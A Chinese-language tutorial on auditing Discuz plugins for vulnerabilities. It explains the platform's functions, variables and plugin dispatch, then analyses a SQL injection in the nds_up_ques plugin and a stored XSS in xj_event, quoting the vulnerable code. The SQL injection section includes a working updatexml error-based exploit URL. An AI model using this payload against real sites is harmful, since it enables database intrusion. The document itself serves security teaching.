Disucz 插件漏洞挖掘手册

  • 基本函数的了解
  • 基本变量的了解
  • 插件的调用方法
  • 学习几个小例子

 

1.基本函数的了解

在Discuz中存在如下几个重要的函数

<?php $Result=DB::query("select 1");//用来执行sql语句 DB::result($Result); //用来获取执行SQL语句的之后的结果 DB::fetch ( $query2 );// 也用来获取执行SQL语句的之后的结果 showmessage(); //用来输出discuz的提示信息,并且输出完之后会退出 DB::table ( 'ques_user' ); //用来根据自定义的表前缀生成出带有表前缀的表名(discuz就算sql语句报错输出的时候也会自动将表前缀隐) include template ( 'nds_up_ques:ques_stats' ); //template会返回nds_up_ques插件目录下template目录中的ques_stats.html,用来包含使用模版?>

2.基本变量的了解

在discuz中比较重要的几个变量如下

<?php $_G ['gp_orderby'];//前面的gp代表get和post,表示从get和post方式获取orderby参数。 $_G ['cache'] ['plugin'] ['nds_up_ques']['creditmax']; //表示读取data目录下cache目录里面nds_up_ques文件下面的creditmax,一般不可控 $_G ['adminid'];// 管理员ID的标志位,普通用户登录的话就为空 $_G ['uid']; // 用户ID的标志位,普通用户登录则存在的当前用户的ID,未登录则为空 IN_DISCUZ,IN_ADMINCP //俩个宏,一个是判断是否在dz的代码调用,一个是判断是否是后台调用,IN_DISCUZ是用来判断是否是直接访问的,若直接访问则不给予执行;一般ADMINCP用来判断是否后台调用也就///是判断是否是管理员使用,也代表该插件只能在后台调用, ?>

3.插件的调用方法

在discuz中大部分插件都是通过plugin.php文件来调用的,

并且通过id参数来指明所需调用的插件,例如如下url

http://www.dzscan.org/plugin.php?id=testplugin

最终调用的文件将是

/source/plugins/testplugin/testplugin.inc.php

如果url是

http://www.dzscan.org/plugin.php?id=testplugin:testaction

最终调用的文件将是

/source/plugins/testplugin/testaction.inc.php

比如我们挖某一个插件中的testaction.inc.php存在漏洞就可以同过如上的方法调用到该文件

plugin.php的id参数只允许包含Inc.php后缀的文件名,若发现testaction.php存在漏洞,是无法直接通过plugin.php调用的

4 学习几个小例子

这里以 nds_up_ques 插件作为第一个例子,其存在一个sql注入漏洞

nds_ques_viewanswer.inc.php文件中,首先,通过该文件的文件得知我们可以通过

http://www.dzscan.org/plugin.php?id=nds_up_ques:nds_ques_viewanswer

这样的url去调用到这个文件;

然后下面我们来看其中的代码:

<?PHP /**  *   *问卷调查专业版 3.261 (www.lieeagle.com)   *   */ if (! defined ( 'IN_DISCUZ' )) {//标注了必须在discuz中调用,直接访问则会退出,防止函数/变量未定义导致报错 exit ( 'Access Denied' ); } ! empty ( $_G ['gp_srchtxt'] ) ? $wherestr .= " AND  author = '" . dhtmlspecialchars ( trim ( substr ( $_GET ['srchtxt'], 0, 20 ) ) ) . "' " : ''; //通过这里得知从GET方式获取srchtxt的值,这里需要注意的是,在Disucz中直接通过$_GET,$_POST等变量获 //取的值是被反转义回来的,换句话说就是原本提交<'>会变成<\'>, //但是会被重新反转再次变成<'>从而导致字符/形也可以注入,所以这里是一处注入, //但是因为substr的原因导致c长度最多只有20,没法利用 $orderby = $_G ['gp_orderby'] ? $_G ['gp_orderby'] : 'dateline'; //再看这里通过前面的文章我们可得知通过GET或者POST方法获取Orderby参数 $imes = $_G ['gp_imes'] ? $_G ['gp_imes'] : 'DESC'; //再看这里通过前面的文章我们可得知通过GET或者POST方法获取imes参数 //忽略一点无关紧要的代码 $query = DB::query ( " SELECT * FROM " . DB::table ( 'ques_user' ) . " WHERE `topicid`='$topicid' " . $wherestr . "  ORDER by $orderby $imes LIMIT $start_limit,$perpage" );//这里可以看到把orderby和imes直接带入查询了,导致了sql注入 while ( $quesuser = DB::fetch ( $query ) ) { $quesuserlist [$quesuser ['qid']] ['nid'] = $nid ++; $quesuserlist [$quesuser ['qid']] ['topicid'] = $quesuser ['topicid']; $quesuserlist [$quesuser ['qid']] ['dateline'] = dgmdate ( $quesuser ['dateline'] ); $quesuserlist [$quesuser ['qid']] ['authorid'] = $quesuser ['authorid']; $quesuserlist [$quesuser ['qid']] ['author'] = $quesuser ['author']; $quesuserlist [$quesuser ['qid']] ['mark'] = $quesuser ['mark']; } $navtitle = lang ( 'plugin/nds_up_ques', 'action_7' ) . ' - ' . $navtitle; include template ( 'nds_up_ques:ques_viewanswer' ); ?>

最终我们的exp便是

http://www.dzscan.org/plugin.php?id=nds_up_ques:nds_ques_viewanswer&&srchtxt=1&orderby=dateline and 1=(updatexml(1,concat(0x27,version()),1))--

下面在看一个xss的例子

xj_event这个插件的

event_list.inc.php这个文件的漏洞

$dateline = $_G['timestamp']; $eid = intval($_GET['eid']); $uid = $_G['uid']; $realname = addslashes($_GET['realname']);//这些参数只是经过了转义,但是并没有将html标签实体化 $mobile = addslashes($_GET['mobile']); $qq = addslashes($_GET['qq']); $bmmessage = addslashes($_GET['message']); $applynumber = intval($_GET['applynumber']); //忽略一下无关紧要的代码 DB::query("INSERT INTO ".DB::table('xj_eventapply')."   (tid, eid, uid, realname, mobile, qq, bmmessage, dateline, applynumber, ufielddata)   VALUES   ('$tid', '$eid', '$uid', '$realname', '$mobile', '$qq', '$bmmessage', '$dateline', '$applynumber', '$ufielddata')");//导致这里直接插入数据库,最后在后台输出将会导致存储xss $num = DB::result_first("SELECT count(*) FROM ".DB::table('xj_event_member_info')." WHERE uid = '$uid'");=

 

 

【安全脉搏 Expl0r3r 整理发布】